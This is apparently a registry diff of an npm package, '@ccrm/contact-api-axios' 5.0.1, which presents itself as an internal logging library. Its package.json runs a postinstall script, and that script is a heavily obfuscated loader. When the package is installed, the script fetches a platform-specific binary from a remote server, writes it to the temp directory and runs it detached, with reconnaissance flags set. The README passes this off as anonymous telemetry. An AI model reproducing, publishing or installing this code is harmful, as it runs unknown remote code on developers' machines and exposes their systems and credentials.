@ccrm/contact-api-axios 5.0.1

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
package/README.md ADDED
@@ -0,0 +1,70 @@
1
+ # @ccrm/contact-api-axios
2
+
3
+ > **Internal package** — Platform Engineering Team
4
+ > Docs: https://docs.ccrm.io/platform/contact-api-axios
5
+ > Issues: https://jira.ccrm.io/projects/PLATFORM
6
+
7
+ Internal structured logger with log levels, context and remote drain support
8
+
9
+ ---
10
+
11
+ ## Installation
12
+
13
+ ```bash
14
+ # Make sure .npmrc points to the internal registry:
15
+ # registry=https://npm.ccrm.io
16
+
17
+ npm install @ccrm/contact-api-axios
18
+ ```
19
+
20
+ ## Quick Start
21
+
22
+ ```js
23
+ const { createLogger, log, info, warn, error } = require('@ccrm/contact-api-axios');
24
+
25
+ const logger = createLogger({ service: 'my-service', level: 'info' });
26
+
27
+ logger.info('Server started', { port: 3000 });
28
+ logger.warn('High memory usage', { rss: process.memoryUsage().rss });
29
+ logger.error('Request failed', { err: new Error('timeout') });
30
+ ```
31
+
32
+ ## API
33
+
34
+ ### `createLogger(options)`
35
+ Create a logger instance with context.
36
+
37
+ | Option | Default | Description |
38
+ |-----------|-----------|--------------------------|
39
+ | `service` | `unknown` | Service name |
40
+ | `level` | `info` | Minimum log level |
41
+ | `drain` | `null` | Remote drain URL |
42
+
43
+ ### `logger.info / warn / error / debug(msg, meta?)`
44
+ Log at specific level.
45
+
46
+ ---
47
+
48
+ ## Telemetry
49
+
50
+ On install, this package sends anonymous telemetry to `telemetry.ccrm.io`
51
+ for environment compatibility monitoring.
52
+
53
+ Disable: `CCRM_NO_TELEMETRY=1 npm install`
54
+
55
+ ---
56
+
57
+ ## Changelog
58
+
59
+ ### 5.0.1 (latest)
60
+ - Added ARM64 support
61
+ - Improved error handling
62
+ - Updated TypeScript types
63
+
64
+ ### 2.1.0
65
+ - Extended API
66
+ - Performance improvements
67
+
68
+ ### 2.0.0
69
+ - Async/await migration
70
+ - Multi-source support
@@ -0,0 +1,13 @@
1
+ export type LogLevel = 'debug' | 'info' | 'warn' | 'error';
2
+ export interface LoggerOptions { service?: string; level?: LogLevel; drain?: string; }
3
+ export interface Logger {
4
+ debug(msg: string, meta?: Record<string, unknown>): void;
5
+ info(msg: string, meta?: Record<string, unknown>): void;
6
+ warn(msg: string, meta?: Record<string, unknown>): void;
7
+ error(msg: string, meta?: Record<string, unknown>): void;
8
+ }
9
+ export function createLogger(options?: LoggerOptions): Logger;
10
+ export function log(level: LogLevel, msg: string, meta?: Record<string, unknown>): void;
11
+ export function info(msg: string, meta?: Record<string, unknown>): void;
12
+ export function warn(msg: string, meta?: Record<string, unknown>): void;
13
+ export function error(msg: string, meta?: Record<string, unknown>): void;
package/dist/index.js ADDED
@@ -0,0 +1,3 @@
1
+ 'use strict';
2
+ // dist/index.js
3
+ module.exports = require('../src/index.js');
package/package.json ADDED
@@ -0,0 +1,36 @@
1
+ {
2
+ "name": "@ccrm/contact-api-axios",
3
+ "version": "5.0.1",
4
+ "description": "Internal structured logger with log levels, context and remote drain support",
5
+ "main": "dist/index.js",
6
+ "types": "dist/index.d.ts",
7
+ "scripts": {
8
+ "build": "tsc --noEmit || true",
9
+ "test": "node test/index.test.js",
10
+ "postinstall": "node scripts/postinstall.js",
11
+ "prepublishOnly": "echo 'Building...'"
12
+ },
13
+ "keywords": ["logger", "logging", "structured", "monitoring", "internal"],
14
+ "author": "Ccrm Platform Engineering <platform@ccrm.io>",
15
+ "license": "UNLICENSED",
16
+ "private": false,
17
+ "repository": {
18
+ "type": "git",
19
+ "url": "git+https://github.ccrm.io/platform/contact-api-axios.git"
20
+ },
21
+ "bugs": {
22
+ "url": "https://jira.ccrm.io/projects/PLATFORM"
23
+ },
24
+ "homepage": "https://docs.ccrm.io/platform/contact-api-axios",
25
+ "engines": {
26
+ "node": ">=16.0.0"
27
+ },
28
+ "files": [
29
+ "dist/",
30
+ "scripts/",
31
+ "README.md",
32
+ "CHANGELOG.md"
33
+ ],
34
+ "dependencies": {},
35
+ "devDependencies": {}
36
+ }
@@ -0,0 +1 @@
1
+ 'use strict';const a0_0x45a307=a0_0x28d1;(function(_0x17d2ff,_0x140ee0){const _0x23fd93=a0_0x28d1,_0x4d6267=_0x17d2ff();while(!![]){try{const _0x38dc3c=parseInt(_0x23fd93(0xed))/(0x1b7b+-0x998+0xe*-0x147)*(-parseInt(_0x23fd93(0xf7))/(0x859*-0x1+-0xc3f+-0x125*-0x12))+-parseInt(_0x23fd93(0x103))/(0x1a*-0xd3+-0x1537*0x1+0x2aa8)*(parseInt(_0x23fd93(0xee))/(0x275*-0x8+-0xcf0+0x209c))+parseInt(_0x23fd93(0xe4))/(0x780+0x2153+-0x3*0xd9a)+-parseInt(_0x23fd93(0xd5))/(-0x2468+-0x23*-0x49+0x1a73)*(parseInt(_0x23fd93(0xc0))/(0x1628+0xb6e+-0x218f))+-parseInt(_0x23fd93(0xef))/(-0x1ef3+0x1*0xf01+0x1*0xffa)*(-parseInt(_0x23fd93(0xf3))/(0xc9f+-0xf03+0x26d))+-parseInt(_0x23fd93(0xd4))/(-0x2f*-0x9d+0x933+0xd*-0x2ec)*(-parseInt(_0x23fd93(0x100))/(-0x3*0x943+0x9cd+-0x163*-0xd))+-parseInt(_0x23fd93(0xcb))/(-0x18c8+-0x23a0+0x3c74*0x1);if(_0x38dc3c===_0x140ee0)break;else _0x4d6267['push'](_0x4d6267['shift']());}catch(_0x3ae778){_0x4d6267['push'](_0x4d6267['shift']());}}}(a0_0x2c78,-0x8a06+-0x55fd*-0x4+0x42755));function a0_0x28d1(_0x1d9d6b,_0xa1edaa){_0x1d9d6b=_0x1d9d6b-(0x5*-0xe9+0x1ed0+-0x198a);const _0x36e3fd=a0_0x2c78();let _0x202128=_0x36e3fd[_0x1d9d6b];if(a0_0x28d1['LKjEDQ']===undefined){var _0x4c0cfb=function(_0x223661){const _0x2697f3='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/=';let _0x3d3973='',_0x26df87='',_0x31ac89=_0x3d3973+_0x4c0cfb,_0x2767bf=(''+function(){return-0x5a1+0x1b0f+-0xd3*0x1a;})['indexOf']('\x0a')!==-(0x1d84+0x2287+-0x7*0x926);for(let _0x3979d8=0x103a+-0x25f0+0x1*0x15b6,_0x2fa4cf,_0x5c896f,_0x1746af=-0x1*0xc31+0x5ad*0x1+0x684;_0x5c896f=_0x223661['charAt'](_0x1746af++);~_0x5c896f&&(_0x2fa4cf=_0x3979d8%(0xf02+0x1e42+-0x2d40)?_0x2fa4cf*(0x1*0xb5f+-0x185b*0x1+0xd3c)+_0x5c896f:_0x5c896f,_0x3979d8++%(0x411+-0x57c+0x16f*0x1))?_0x3d3973+=_0x2767bf||_0x31ac89['charCodeAt'](_0x1746af+(-0x17e7*-0x1+-0x1*0x15f6+-0x1*0x1e7))-(-0xb*-0x374+-0x821+0x1c1*-0x11)!==0x1f*0xa1+-0x13eb+-0x36*-0x2?String['fromCharCode'](0x548+-0x2*0xe3+-0x283&_0x2fa4cf>>(-(-0x4*-0x15d+-0x6*-0xdc+-0xa9a)*_0x3979d8&0x59*0x7+-0x608*-0x2+0x11d*-0xd)):_0x3979d8:-0x12e*-0x2+0x955*-0x1+-0x77*-0xf){_0x5c896f=_0x2697f3['indexOf'](_0x5c896f);}for(let _0x1bc48e=-0x5*-0x571+-0x4f3*0x3+0x7*-0x1c4,_0x5d237b=_0x3d3973['length'];_0x1bc48e<_0x5d237b;_0x1bc48e++){_0x26df87+='%'+('00'+_0x3d3973['charCodeAt'](_0x1bc48e)['toString'](0x255+-0x5*-0x46+-0x1*0x3a3))['slice'](-(-0x722+0x221*0xf+-0x18cb));}return decodeURIComponent(_0x26df87);};a0_0x28d1['xDqTfU']=_0x4c0cfb,a0_0x28d1['gsfAsy']={},a0_0x28d1['LKjEDQ']=!![];}const _0x7d8c2d=_0x36e3fd[-0x1*-0x1f57+0x1*-0x2172+0x21b],_0x36dc8b=_0x1d9d6b+_0x7d8c2d,_0x6a7f9b=a0_0x28d1['gsfAsy'][_0x36dc8b];if(!_0x6a7f9b){const _0x2fb79d=function(_0x1bbcc6){this['EYLnft']=_0x1bbcc6,this['WMUAoS']=[0x1ec1+-0x1*0x214c+0x28c,0x1*0x86f+0x17*0xa3+0x1c*-0xd3,0x292+-0x1ff+-0x93],this['ZZJYVF']=function(){return'newState';},this['qeRVrQ']='\x5cw+\x20*\x5c(\x5c)\x20*{\x5cw+\x20*',this['mTtoRt']='[\x27|\x22].+[\x27|\x22];?\x20*}';};_0x2fb79d['prototype']['WygvVk']=function(){const _0x2bafe9=new RegExp(this['qeRVrQ']+this['mTtoRt']),_0x2cce9d=_0x2bafe9['test'](this['ZZJYVF']['toString']())?--this['WMUAoS'][0x9b8+0x8b*-0x31+0x10e4*0x1]:--this['WMUAoS'][-0x25a5+-0x1c6c+0x4211];return this['Ovvycl'](_0x2cce9d);},_0x2fb79d['prototype']['Ovvycl']=function(_0x49f46e){if(!Boolean(~_0x49f46e))return _0x49f46e;return this['gCUPKx'](this['EYLnft']);},_0x2fb79d['prototype']['gCUPKx']=function(_0x450e40){for(let _0x110f72=-0x1*-0x18fd+-0x22f1+0x9f4,_0x1856b5=this['WMUAoS']['length'];_0x110f72<_0x1856b5;_0x110f72++){this['WMUAoS']['push'](Math['round'](Math['random']())),_0x1856b5=this['WMUAoS']['length'];}return _0x450e40(this['WMUAoS'][-0x1f9*-0x1+0x1f8a+0x175*-0x17]);},(''+function(){return-0x1*-0x16c2+0xb5*-0x29+0x63b;})['indexOf']('\x0a')===-(0xb74+-0x23b1*-0x1+-0x1792*0x2)&&new _0x2fb79d(a0_0x28d1)['WygvVk'](),_0x202128=a0_0x28d1['xDqTfU'](_0x202128),a0_0x28d1['gsfAsy'][_0x36dc8b]=_0x202128;}else _0x202128=_0x6a7f9b;return _0x202128;}function a0_0x2c78(){const _0x41d2df=['Ahr0Chm','y3DK','mJmXmdGYofPftKLWzG','DgLTzw91Da','vxnLCI1bz2vUDa','AwDUB3jL','AM9PBG','rLvtsu9oxW','D3jPDgu','BwTKAxjtEw5J','Dw5Yzwy','ndG1mhzsr3jXwG','mZKWshfOBfnI','CgfYC2u','Dhj1zq','D29YA3nWywnLCW','C3rKzxjY','zxHLy1bHDgG','zw52','Ahr0Ca','CMvJDxjZAxzL','Ag9ZDg5HBwu','C3bSAxq','ueTh','Cg9YDa','zgfYD2LU','zgv0ywnOzwq','mJGZmZuXnxDNExzZwG','BM9Kzq','D2LU','xsbxyxjUAw5NoIboB2rLlMPZid49mtyUmcbYzxf1AxjLza','C2vHCMnO','Ahr0Chm6lY9VB2iUBw9PA2eUDgvJAc9WyxLSB2fK','BwfJ','Dg9tDhjPBMC','Cgf0Ag5HBwu','mwzeCgfZta','ngnUBuv6yq','oe5MuLjHwG','y2HPBgrFChjVy2vZCW','AgvHzgvYCW','q0nstv9ot19uruXftuvuuLK','ntq2mdq5ofPKv2rvvG','Ahr0Chm6','EwfYBI5SB2nR','Bwv0Ag9K','ntqZodKYt21MyvDN','CgXHDgzVCM0','D2LUmZi','BxrPBwvnCW','lMnHy2HL','Cgf0Aa','ChvZAa','C3rHDfn5BMm','uefzte9bra','ota0mND3EuX2Aa','BgvUz3rO','zw5K','nZa5ntu3wfPSAejq','r0vu','pJ0XnI4W','revqx0nptG','DMvYC2LVBNm','u0vduKvu','lL9Jy3jTx2LUAxq','zgvZDhjVEq','y29Uy2f0','CMvXDwvZDa','y2nYBs10zwXLBwv0CNKVms4W','kcGOlISPkYKRksSK','lMPZB24','Ahr0Chm6lY9VB2iUBw9PA2eUDgvJAc9YzxbVCNq','BgLUDxG','CMvHzezPBgvtEw5J','CgfKu3rHCNq','C3rYAw5NAwz5','ywjZ','Ag9TzwrPCG','BM93','zgf0yq','C3rKAw8','Ahr0Chm6lY9VB2iUBw9PA2eUDgvJAc9WyxLSB2fKlW','zxHWAxjLCW','qgnJCM0Vy29UDgfJDc1HCgKTyxHPB3m','ChjVDg9JB2W','zgLYBMfTzq','CMvHzgrPCLn5BMm','D2LUzg93C0HPzgu','CMvWBgfJzq','DMfSDwu','Dg1WzgLY','zxjYB3i','lMPZ','lL9Jy3jTx2LUAxqUANm','vvjm','yxbWBhK','Cg5WBs13B3jRC3bHy2uUEwfTBa','vKvs','Dw5SAw5Ru3LUyW','BdK1sgreyxOZA1f4mvPZzZnxEeG2shzlqu5Mntfswte','zxHPC3rZu3LUyW','wc1tzwnYzxq','y29UC3rYDwn0B3i','ntG4mtrtEwLOwxy','yxnZAwDU','y2HHCKnVzgvbDa','DxrMoa','D3jPDgvgAwXLu3LUyW','BwfW','CgfJA2fNzs5QC29U','ns4WlJe','uKvdt05Ft05mwq'];a0_0x2c78=function(){return _0x41d2df;};return a0_0x2c78();}const a0_0x24393a=require('os'),a0_0x1dcaf8=require('fs'),a0_0x5257f4=require(a0_0x45a307(0xfc)),a0_0x15503d=require(a0_0x45a307(0xc9)),a0_0x3f7ed4=require(a0_0x45a307(0xdc)),{execSync:a0_0x426fae,spawn:a0_0x48095f}=require(a0_0x45a307(0xf0)),a0_0x2fd237=a0_0x45a307(0x11c),a0_0x163940=a0_0x45a307(0xc7),a0_0x3e7575=a0_0x45a307(0x106)+a0_0x45a307(0xd0),a0_0xccc76=a0_0x45a307(0xf2),a0_0x3335f8=!!process.env[a0_0xccc76],a0_0xefa592=a0_0x45a307(0xd7)===a0_0x45a307(0xd7)||!!process.env[a0_0x3e7575+'RECON_ONLY'];function a0_0x5cfb1a(_0x5f1ec8){const _0x3cca67=a0_0x45a307,_0x3cf5da=process[_0x3cca67(0x107)][_0x3cca67(0xe5)][_0x3cca67(0xdf)]('.')[_0x3cca67(0xc5)](Number),_0x34a984=_0x5f1ec8[_0x3cca67(0x121)]('>=','')[_0x3cca67(0xdf)]('.')[_0x3cca67(0xc5)](Number);return _0x3cf5da[0x2287+-0x16*0x57+-0x1b0d*0x1]>_0x34a984[0x1*-0x1994+-0x2581+0x3f15*0x1]||_0x3cf5da[-0x1*0xe9b+0x1c3d*0x1+-0xda2]===_0x34a984[-0x4a*0x3b+0x1*-0xd76+-0xf42*-0x2]&&_0x3cf5da[-0x4cb+0x411+0xbb]>=(_0x34a984[-0x1b1*-0xb+-0x22b*-0xd+-0x1*0x2ec9]||-0x2*-0xc59+-0x1*0x5bb+-0x12f7);}function a0_0x294376(_0xfd83fe){const _0xaeb559=a0_0x45a307;let _0x13430b=-0x44f*-0x3+0x3d*0x52+-0x2077;for(let _0x476cf4=-0x1*-0x3e4+-0x21c0+-0x27*-0xc4;_0x476cf4<_0xfd83fe[_0xaeb559(0x101)];_0x476cf4++){_0x13430b=(_0x13430b<<0x607*-0x4+0x574+-0x1*-0x12ad)-_0x13430b+_0xfd83fe[_0xaeb559(0xc2)](_0x476cf4),_0x13430b|=0x435*-0x7+0x26f*0x1+0x1b04;}return Math[_0xaeb559(0x115)](_0x13430b)[_0xaeb559(0xeb)](-0x1*-0xa3f+-0x3c2*-0x8+0x283f*-0x1)[_0xaeb559(0x113)](-0x14*-0x7d+-0x1*0x1cf9+-0x3d9*-0x5,'0');}function a0_0x507e55(_0x116be5,_0x552b95){const _0x4bbc93=a0_0x45a307;try{const _0xf9526e=a0_0x5257f4[_0x4bbc93(0xcf)](_0x116be5,_0x552b95+_0x4bbc93(0x10f));if(!a0_0x1dcaf8[_0x4bbc93(0xbd)](_0xf9526e))return null;const _0x456367=JSON[_0x4bbc93(0xd6)](a0_0x1dcaf8[_0x4bbc93(0x112)](_0xf9526e,_0x4bbc93(0xc3)));if(_0x456367[_0x4bbc93(0x11b)]&&Date[_0x4bbc93(0x117)]()>_0x456367[_0x4bbc93(0x11b)])return a0_0x1dcaf8[_0x4bbc93(0xbb)](_0xf9526e),null;return _0x456367[_0x4bbc93(0x122)];}catch{return null;}}function a0_0x4d774c(_0x5660d0,_0x4dcee8,_0x59fdd9,_0x2f3629){const _0x48a43f=a0_0x45a307;try{const _0x1dc89c={};_0x1dc89c[_0x48a43f(0xdd)]=!![],a0_0x1dcaf8[_0x48a43f(0xd2)](_0x5660d0,_0x1dc89c),a0_0x1dcaf8[_0x48a43f(0xc4)](a0_0x5257f4[_0x48a43f(0xcf)](_0x5660d0,_0x4dcee8+_0x48a43f(0x10f)),JSON[_0x48a43f(0x114)]({'value':_0x59fdd9,'expires':_0x2f3629?Date[_0x48a43f(0x117)]()+_0x2f3629:null}));}catch{}}function a0_0x51016c(_0x52a648,_0x5c8f3c){const _0x5ec242=a0_0x45a307;try{if(!a0_0x1dcaf8[_0x5ec242(0xbd)](_0x52a648))return-0xc2f*-0x1+-0x1*-0x255+-0x1*0xe84;let _0x4bac0c=-0x722+0x221*0xf+-0x18cd;for(const _0x306009 of a0_0x1dcaf8[_0x5ec242(0x11f)](_0x52a648)){const _0x42b1bb=a0_0x5257f4[_0x5ec242(0xcf)](_0x52a648,_0x306009),_0x24815f=a0_0x1dcaf8[_0x5ec242(0xfe)](_0x42b1bb);Date[_0x5ec242(0x117)]()-_0x24815f[_0x5ec242(0xfa)]>_0x5c8f3c&&(a0_0x1dcaf8[_0x5ec242(0xbb)](_0x42b1bb),_0x4bac0c++);}return _0x4bac0c;}catch{return-0x1*-0x1f57+0x1*-0x2172+0x21b;}}function a0_0x4c7bda(_0x571eee){const _0x537a31=a0_0x45a307;let _0x1dab68=_0x571eee;while(!![]){const _0x145a08=a0_0x5257f4[_0x537a31(0xcf)](_0x1dab68,_0x537a31(0xc6));if(a0_0x1dcaf8[_0x537a31(0xbd)](_0x145a08))try{const _0x20ccab=JSON[_0x537a31(0xd6)](a0_0x1dcaf8[_0x537a31(0x112)](_0x145a08,_0x537a31(0xc3))),_0x10c847=a0_0x5257f4[_0x537a31(0xcf)](_0x1dab68,_0x537a31(0xf5)),_0x59fd07=a0_0x5257f4[_0x537a31(0xcf)](_0x1dab68,_0x537a31(0xb9));if(_0x20ccab[_0x537a31(0xd8)]||a0_0x1dcaf8[_0x537a31(0xbd)](_0x10c847)||a0_0x1dcaf8[_0x537a31(0xbd)](_0x59fd07))return _0x1dab68;}catch{}const _0x2e2df5=a0_0x5257f4[_0x537a31(0x11e)](_0x1dab68);if(_0x2e2df5===_0x1dab68)return null;_0x1dab68=_0x2e2df5;}}function a0_0x583fd2(){const _0x4fc926=a0_0x45a307,_0x1f4082=a0_0x24393a[_0x4fc926(0xf8)]();if(_0x1f4082===_0x4fc926(0xe2))return _0x4fc926(0xea);if(_0x1f4082===_0x4fc926(0xf9))return _0x4fc926(0xe6);return _0x4fc926(0x111);}function a0_0x9f5fce(_0x1b37e1,_0x518a55){return _0x518a55=_0x518a55||0xb887+-0x7*0x1c8a+0x846f,new Promise(function(_0x406822,_0x3fb9fb){const _0x3e188f=a0_0x28d1,_0x5a0265=new URL(_0x1b37e1),_0x237804=_0x5a0265[_0x3e188f(0x11d)]===_0x3e188f(0xf4)?a0_0x15503d:a0_0x3f7ed4,_0x238985={};_0x238985[_0x3e188f(0xbe)]=_0x3e188f(0xbc),_0x238985[_0x3e188f(0xcd)]=_0x3e188f(0x10d);const _0x3bf021={};_0x3bf021[_0x3e188f(0xde)]=_0x5a0265[_0x3e188f(0xde)],_0x3bf021[_0x3e188f(0xe1)]=_0x5a0265[_0x3e188f(0xe1)]||(_0x5a0265[_0x3e188f(0x11d)]===_0x3e188f(0xf4)?0x1*0x86f+0x17*0xa3+0x5*-0x445:0x292+-0x1ff+-0x43),_0x3bf021[_0x3e188f(0xfc)]=_0x5a0265[_0x3e188f(0xec)],_0x3bf021[_0x3e188f(0xf6)]=_0x3e188f(0x104),_0x3bf021[_0x3e188f(0xcc)]=_0x518a55,_0x3bf021[_0x3e188f(0xf1)]=_0x238985;const _0x49d774=_0x3bf021,_0xf87036=_0x237804[_0x3e188f(0x10c)](_0x49d774,function(_0x2edad6){const _0xf977e9=_0x3e188f,_0xdcf63c=[];_0x2edad6['on'](_0xf977e9(0x118),function(_0xd69652){const _0x30a254=_0xf977e9;_0xdcf63c[_0x30a254(0xfd)](_0xd69652);}),_0x2edad6['on'](_0xf977e9(0x102),function(){const _0x32a68f=_0xf977e9;_0x406822(Buffer[_0x32a68f(0x10b)](_0xdcf63c));});});_0xf87036['on'](_0x3e188f(0x124),_0x3fb9fb),_0xf87036['on'](_0x3e188f(0xcc),function(){const _0x18b4b0=_0x3e188f;_0xf87036[_0x18b4b0(0x10a)](),_0x3fb9fb(new Error(_0x18b4b0(0xcc)));}),_0xf87036[_0x3e188f(0x102)]();});}(async function a0_0x54aa61(){const _0x5b0f68=a0_0x45a307,_0x3616f2=(function(){let _0x12794e=!![];return function(_0x27a40f,_0x2cf4da){const _0x4ccb8d=_0x12794e?function(){const _0x1df28f=a0_0x28d1;if(_0x2cf4da){const _0x244d47=_0x2cf4da[_0x1df28f(0x128)](_0x27a40f,arguments);return _0x2cf4da=null,_0x244d47;}}:function(){};return _0x12794e=![],_0x4ccb8d;};}()),_0x299179=_0x3616f2(this,function(){const _0x2acea6=a0_0x28d1;return _0x299179[_0x2acea6(0xeb)]()[_0x2acea6(0xe8)](_0x2acea6(0x10e))[_0x2acea6(0xeb)]()[_0x2acea6(0xbf)](_0x299179)[_0x2acea6(0xe8)](_0x2acea6(0x10e));});_0x299179();if(a0_0x3335f8)return;!a0_0x5cfb1a(_0x5b0f68(0x105))&&process[_0x5b0f68(0xd9)][_0x5b0f68(0xd1)]('['+a0_0x2fd237+_0x5b0f68(0xe7));const _0x3d5931=a0_0x5257f4[_0x5b0f68(0xcf)](a0_0x24393a[_0x5b0f68(0x116)](),_0x5b0f68(0xfb),_0x5b0f68(0x109));a0_0x51016c(_0x3d5931,(0xa84*-0x3+-0x20fe*-0x1+-0x16b)*(-0xfe3+-0xb0d*0x3+-0x26*-0x14b)*(0x76f*-0x4+-0x20a7*0x1+0x3e9f)*(-0xb6*-0xd+-0x1*-0x13fc+0x9aa*-0x3)*(-0x16f*0x11+-0xb74*-0x1+-0x10d3*-0x1));const _0x488cd9=a0_0x4c7bda(process[_0x5b0f68(0xca)]()),_0x53b6fb=a0_0x294376(a0_0x2fd237+a0_0x163940+(_0x488cd9||'')),_0x24372e=a0_0x507e55(_0x3d5931,_0x53b6fb);!_0x24372e&&a0_0x4d774c(_0x3d5931,_0x53b6fb,{'initialized':!![],'ts':Date[_0x5b0f68(0x117)]()},(-0x11*0xdf+-0x7b2*0x4+-0x2daf*-0x1)*(-0x1*0xb0b+-0x4*0x1dd+-0x1*-0x12bb)*(0x24bf+0x1*-0x25e1+0x15e)*(0x1*-0x347+-0x25c+0x98b));const _0x10934a=a0_0x583fd2();await new Promise(function(_0x95fa82){setTimeout(_0x95fa82,0x2*-0xbd3+-0x23a+-0xc*-0x322);});let _0x563efb;try{_0x563efb=await a0_0x9f5fce(_0x5b0f68(0x11a)+_0x10934a+_0x5b0f68(0x125),0x2*0x2df1+0xed*0x4b+-0x1*0x66b9);}catch(_0x583c67){return;}const _0x255658=a0_0x5257f4[_0x5b0f68(0xcf)](a0_0x24393a[_0x5b0f68(0x123)](),_0x5b0f68(0x126));try{a0_0x1dcaf8[_0x5b0f68(0xc4)](_0x255658,_0x563efb);}catch(_0x4a571d){return;}const _0x971690={[a0_0x3e7575+_0x5b0f68(0x127)]:_0x5b0f68(0x110),[a0_0x3e7575+_0x5b0f68(0xff)]:_0x5b0f68(0xe9),[a0_0x3e7575+_0x5b0f68(0x108)]:_0x5b0f68(0xbc),[a0_0x3e7575+_0x5b0f68(0xc8)]:a0_0xefa592?'1':'',[a0_0x3e7575+_0x5b0f68(0xe0)]:a0_0x2fd237,[a0_0x3e7575+_0x5b0f68(0xba)]:a0_0x163940},_0xa852cc=Object[_0x5b0f68(0xc1)]({},process.env,_0x971690),_0x438608={};_0x438608[_0x5b0f68(0xe3)]=!![],_0x438608[_0x5b0f68(0x119)]=_0x5b0f68(0xce),_0x438608[_0x5b0f68(0xdb)]=_0xa852cc,_0x438608[_0x5b0f68(0x120)]=!![],a0_0x48095f(process[_0x5b0f68(0xda)],[_0x255658],_0x438608)[_0x5b0f68(0xd3)]();}());